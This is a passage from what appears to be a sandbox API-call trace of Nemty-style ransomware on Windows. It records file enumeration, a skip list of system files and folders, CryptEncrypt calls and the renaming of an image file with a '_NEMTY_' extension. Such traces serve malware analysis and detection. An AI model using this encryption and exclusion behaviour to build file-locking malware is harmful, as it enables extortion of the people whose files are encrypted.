lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_left.png", lpUsedDefaultChar=0x0) returned 22 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0094.658] Sleep (dwMilliseconds=0x5) [0094.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec115c30, dwHighDateTime=0x1d561e7)) [0094.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec115c30, dwHighDateTime=0x1d561e7)) [0094.659] GetLastError () returned 0x5 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.659] GetLastError () returned 0x5 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.659] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0094.659] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Uf/QycXlZ1OKGgYzRke2vLzVhLKPmwMIu1INlr7ZTrZMp8M8jsF/H2UL0HJn1TdY\r\nzvkbrRSjB6FPLPRUV8loOyg+h+lR3mpwWTw19hDmI4Gq8V7pHz86xm/P7vmUDWI8\r\nbtkxwM8DzieL7dmwFz4IdiktNtksJu9ebPsrSzKoQwGqqkwLOjqMFwCO+1wjFdCt\r\niEkI4D6C8mKZJpAckfCQ8gt+gLfOy9+gOyR2EFoXXt5MsbEUd2zzMkV3HIzEDJDt\r\n7kR0d365mv4R73lFEC0Y8Q+UdW/4aurWp0GZTm63e00UnkA0LwGWagAN4Sc23utz\r\nIp3KsG+YRlzGM4DpT2cwQA==\r\n", pcchString=0x653e91c) returned 1 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0094.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.659] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.659] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.765] CloseHandle (hObject=0xffffffff) returned 0 [0094.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0094.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0094.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.766] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png._nemty_kgobjgd_")) returned 0 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.766] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2=".") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="..") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="...") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="windows") returned -1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="$RECYCLE.BIN") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="rsa") returned -1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="NTDETECT.COM") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="ntldr") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="MSDOS.SYS") returned 1 [0094.766] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="IO.SYS") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="boot.ini") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="boot.ini") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="ntuser.dat") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="desktop.ini") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="CONFIG.SYS") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="RECYCLER") returned -1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="BOOTSECT.BAK") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="bootmgr") returned 1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="programdata") returned -1 [0094.767] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="appdata") returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_right.png", lpUsedDefaultChar=0x0) returned 23 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_right.png", lpUsedDefaultChar=0x0) returned 23 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_right.png", lpUsedDefaultChar=0x0) returned 23 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_right.png", lpUsedDefaultChar=0x0) returned 23 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0094.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0094.768] Sleep (dwMilliseconds=0x5) [0094.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec2205d0, dwHighDateTime=0x1d561e7)) [0094.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec2205d0, dwHighDateTime=0x1d561e7)) [0094.774] GetLastError () returned 0x5 [0094.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.774] GetLastError () returned 0x5 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, 